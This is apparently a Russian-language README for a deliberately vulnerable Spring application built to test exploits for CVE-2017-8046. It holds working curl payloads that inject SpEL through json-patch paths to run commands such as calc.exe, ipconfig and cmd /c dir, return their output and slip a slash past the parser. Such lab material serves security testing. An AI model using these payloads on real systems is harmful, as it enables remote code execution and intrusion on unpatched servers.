
ПРЕДУПРЕЖДЕНИЕ: Это уязвимое приложение для проверки эксплойта уязвимости Spring Break (CVE-2017-8046). Запускайте на свой страх и риск!
Это уязвимое приложение для тестирования эксплойта уязвимости Spring Break (CVE-2017-8046).
Это приложение содержит серьезные уязвимости безопасности. Запускайте его на свой страх и риск! Рекомендуется использовать резервную копию и изолированную среду (например, виртуальную машину с последним снимком и сетью только для хоста). Не загружайте это приложение на серверы, доступные из Интернета, так как они будут скомпрометированы.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Я не несу ответственности за то, как кто-либо использует это приложение (SpringBreakVulnerableApp). Единственная цель этого приложения — быть тестовым сценарием для эксплойта Spring Break, и оно не должно использоваться в злонамеренных целях. Если ваш сервер будет скомпрометирован в результате установки SpringBreakVulnerableApp, это не моя ответственность; это ответственность лица(лиц), которые загрузили и установили его.
Приложение можно запустить с помощью следующей команды Maven.
mvn spring-boot:run
Жирный jar-файл можно создать с помощью следующей команды Maven.
mvn clean install spring-boot:repackage
Для вставки данных можно использовать следующую команду curl.
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
Вероятно, самый простой эксплойт — следующий запрос.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
В Windows процесс calc.exe можно запустить с помощью следующего запроса. Аналогичные запросы можно использовать для запуска произвольных команд.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Для получения вывода запущенных команд можно использовать некоторые "гаджеты", предоставляемые кодом Spring Framework. К счастью, внешние зависимости не требуются. Например, результат выполнения команды ipconfig можно получить с помощью следующего запроса.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
В Windows команду cmd /c dir и другие подобные команды можно запустить с помощью следующего запроса. Обратите внимание на трюк, используемый для вставки символа косой черты без явного указания значения (то есть явные слеши заменяются точками перед фактическим разбором).
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Программа на Java для эксплуатации этой уязвимости доступна здесь.
Этот проект лицензирован по лицензии MIT — подробности см. в файле LICENSE.txt.